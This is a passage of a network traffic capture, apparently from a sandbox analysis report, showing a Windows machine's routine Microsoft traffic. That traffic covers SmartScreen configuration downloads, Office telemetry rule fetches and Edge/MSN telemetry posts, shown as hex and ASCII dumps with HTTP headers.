2024-11-11 18:17:54 UTC	718	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-11 18:17:54 UTC	302	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-11 18:17:54 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-11 18:17:54 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 5f7107d8-901e-0048-05d5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181754Z-174f7845968cpnpfhC1EWR3afc0000000510000000001833 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.7	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c08ebcb6-401e-0064-7bd5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181754Z-174f7845968vwdr7hC1EWRsh3w000000057g00000000czu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 99a87d01-601e-005c-42d5-33f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181754Z-174f7845968c2t8dhC1EWR8s2000000005300000000064rd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49880	20.189.173.18	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	1034	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731355915505&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11653 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=021090CBA3AE69423B8585FFA2C968AB; _EDGE_S=F=1&SID=2F40E15050D86AB42E21F46451C96B10; _EDGE_V=1; msnup=
2024-11-11 18:17:54 UTC	11653	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 31 31 3a 35 35 2e 34 39 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 37 37 35 63 64 64 37 2d 62 30 36 64 2d 34 34 62 61 2d 38 34 37 37 2d 33 34 65 30 35 30 33 61 31 61 66 32 22 2c 22 65 70 6f 63 68 22 3a 22 31 31 36 37 37 36 35 38 30 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T20:11:55.496Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"0775cdd7-b06d-44ba-8477-34e0503a1af2","epoch":"1167765806"},"app":{"locale
2024-11-11 18:17:54 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7ed5e743ad87472790dcff1674c2862c&HASH=7ed5&LV=202411&V=4&LU=1731349074833; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 18:17:54 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=dfb6d7fb45114a01b9aea08f5bdee660; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 18:47:54 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6840672 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 18:17:54 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	49879	20.189.173.18	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731355915517&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5025 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=021090CBA3AE69423B8585FFA2C968AB; _EDGE_S=F=1&SID=2F40E15050D86AB42E21F46451C96B10; _EDGE_V=1; msnup=
2024-11-11 18:17:54 UTC	5025	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 31 31 3a 35 35 2e 35 31 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 37 37 35 63 64 64 37 2d 62 30 36 64 2d 34 34 62 61 2d 38 34 37 37 2d 33 34 65 30 35 30 33 61 31 61 66 32 22 2c 22 65 70 6f 63 68 22 3a 22 31 31 36 37 37 36 35 38 30 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T20:11:55.510Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"0775cdd7-b06d-44ba-8477-34e0503a1af2","epoch":"1167765806"},"app":{"locale
2024-11-11 18:17:54 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a4dd68bda46e415ab76a2fd560f97ba2&HASH=a4dd&LV=202411&V=4&LU=1731349074826; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 18:17:54 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=54500c8c82ac419480d91cb59b797695; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 18:47:54 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6840691 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 18:17:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:54 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 9a2be917-a01e-0053-13d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181754Z-174f78459684bddphC1EWRbht400000004xg00000000u1rp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
